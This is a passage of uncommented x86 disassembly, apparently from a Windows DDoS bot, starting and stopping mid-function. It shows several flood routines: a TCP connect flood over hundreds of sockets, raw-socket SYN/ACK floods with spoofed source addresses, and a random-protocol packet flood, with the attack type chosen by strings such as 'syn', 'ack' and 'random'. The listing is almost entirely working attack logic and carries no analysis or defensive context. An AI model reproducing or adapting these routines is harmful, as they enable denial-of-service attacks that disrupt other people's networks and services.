		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_413788
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4363E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4136A7
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409A73
		add	esp, 14h


loc_4136A7:				; CODE XREF: sub_413627+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_413627	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: sub_413788+27p

var_654		= byte ptr -654h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4CB654	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_427220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4271F8	; ioctlsocket


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_427214	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		call	ds:dword_427078	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	ds:dword_42721C	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_413788(int,char *Str,int)

sub_413788	proc near		; CODE XREF: sub_413627+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAFA
		push	[esp+10h+Str]	; Str
		mov	edi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: sub_413788+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_413788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137CD	proc near		; DATA XREF: sub_401ACD+644Ao

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_413B1E
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436414 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_41384D
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409A73
		add	esp, 14h


loc_41384D:				; CODE XREF: sub_4137CD+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4137CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: sub_413B1E+3Cp

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
Dst		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4	; WSAStartup
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_8]
		call	dword_4CB654	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_427134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_427130	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654	; htons
		mov	[ebp+var_34], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4CB654	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_427130	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43643C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC	; closesocket
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC	; WSACleanup
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_413B1E(int,char *Str,int)

sub_413B1E	proc near		; CODE XREF: sub_4137CD+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAFA
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: sub_413B1E+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B78	proc near		; DATA XREF: sub_401ACD+6E45o

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CB694	; inet_addr
		push	eax
		call	sub_413C1B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43645C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_413BFC
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409A73
		add	esp, 14h


loc_413BFC:				; CODE XREF: sub_413B78+62j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_413B78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C1B	proc near		; CODE XREF: sub_413B78+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Src		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Dst		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CB668	; gethostname
		push	[ebp+var_4]
		call	dword_4CB6D8	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CB6D4	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CB634	; setsockopt
		mov	esi, 200h
		push	esi		; Size
		call	_malloc
		mov	edi, ds:dword_4270A8
		pop	ecx
		mov	[ebp+Dst], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CB654	; htons
		mov	[ebp+var_96], ax


loc_413D36:				; CODE XREF: sub_413C1B+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_413E1C
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	_rand
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+Src], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	_rand
		mov	[ebp+var_20], ax
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CB654	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4CB654	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	_rand
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_40AC69
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+Dst]
		push	[ebp+var_4]
		call	dword_4CB6B8	; sendto
		jmp	loc_413D36
; ---------------------------------------------------------------------------


loc_413E1C:				; CODE XREF: sub_413C1B+12Cj
		push	[ebp+Dst]
		call	sub_41B0B1
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E36	proc near		; DATA XREF: sub_401ACD+53E9o

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_4270A8
		call	edi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6D4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413EFF
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436574 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413EDF
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409A73
		add	esp, 14h


loc_413EDF:				; CODE XREF: sub_413E36+84j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_BC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_413EFF:				; CODE XREF: sub_413E36+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CB634	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413F7D
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43653C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413F5D
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409A73
		add	esp, 14h


loc_413F5D:				; CODE XREF: sub_413E36+102j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_BC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_413F7D:				; CODE XREF: sub_413E36+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413FED
		lea	eax, [ebp+Dest]
		push	offset asc_43651C ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_413FCD
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409A73
		add	esp, 14h


loc_413FCD:				; CODE XREF: sub_413E36+172j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_BC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_413FED:				; CODE XREF: sub_413E36+157j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	ebx
		call	dword_4CB654	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_414025:				; CODE XREF: sub_413E36+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_4142E9
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CB654	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414098
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_4140AE
; ---------------------------------------------------------------------------


loc_414098:				; CODE XREF: sub_413E36+233j
		push	[ebp+var_240]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694	; inet_addr
		mov	[ebp+var_20], eax


loc_4140AE:				; CODE XREF: sub_413E36+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_4140CC
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4140D2
; ---------------------------------------------------------------------------


loc_4140CC:				; CODE XREF: sub_413E36+284j
		push	[ebp+var_B8]


loc_4140D2:				; CODE XREF: sub_413E36+294j
		call	dword_4CB654	; htons
		mov	[ebp+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CB650	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str]
		push	offset aSyn	; "syn"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414122
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_41417E
; ---------------------------------------------------------------------------


loc_414122:				; CODE XREF: sub_413E36+2E1j
		lea	eax, [ebp+Str]
		push	offset aAck	; "ack"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414142
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_41417E
; ---------------------------------------------------------------------------


loc_414142:				; CODE XREF: sub_413E36+301j
		lea	eax, [ebp+Str]
		push	offset aRandom_0 ; "random"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41417E
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
